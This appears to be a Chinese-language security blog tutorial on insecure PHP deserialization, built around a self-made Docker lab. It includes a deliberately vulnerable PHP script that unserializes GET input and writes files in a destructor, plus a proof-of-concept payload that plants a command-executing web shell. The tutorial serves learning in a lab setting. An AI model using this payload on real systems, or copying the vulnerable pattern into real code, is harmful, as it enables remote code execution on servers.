iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 22
2
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 22

資安這條路 22- [WebSecurity] 不安全的反序列化 Insecure Deserialization

  • 不安全的反序列化,什麼是序列化和反序列化

    • 序列化就是把物件轉成可儲存化的格式,如json
    • 反序列化就是把儲存格是轉換成物件
  • 不安全的反序列化的弱點成因

    • 後端沒有驗證反序列化的字串是否合法
  • PHP 的序列化與反序列化

  • Java 的序列化與反序列化

  • 預防

  • java 反序列化攻擊工具

    • ysoserial

自製 LAB 練習

  • server/index.php
    <?php
    
    if (isset($_GET['source'])) {
        highlight_file(__FILE__);
        die();
    }
    
    class File
    {
      public $filename = 'test.txt';
      public $content = 'test';
    
      // __destruct 解構:執行收尾的動作
      public function __destruct()
      {
        //file_put_contents 用來寫檔案的函式
        file_put_contents($this->filename,$this->content);
      }
    }
    // unserialize 用來反序列化回原本結構
    $o = unserialize($_GET['u']);
    ?>
    
    <a href="index.php?source" class="button">檢視原始碼</a>
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:5.6-apache
            ports: 
                - "8021:80"
            volumes:
                - ./server:/var/www/html/
            networks:
                - default
    
  • POC:?u=O:4:"File":2:{s:8:"filename";s:5:"s.php";s:7:"content";s:30:"<?php system($_GET['cmd']); ?>";}
  • 參考資料

上一篇
資安這條路 21 - [WebSecurity] DOM-based vulnerabilities
下一篇
資安這條路 23 - [WebSecurity] HTTP Smuggling
系列文
資安這條路─以自建漏洞環境學習資訊安全31

尚未有邦友留言

立即登入留言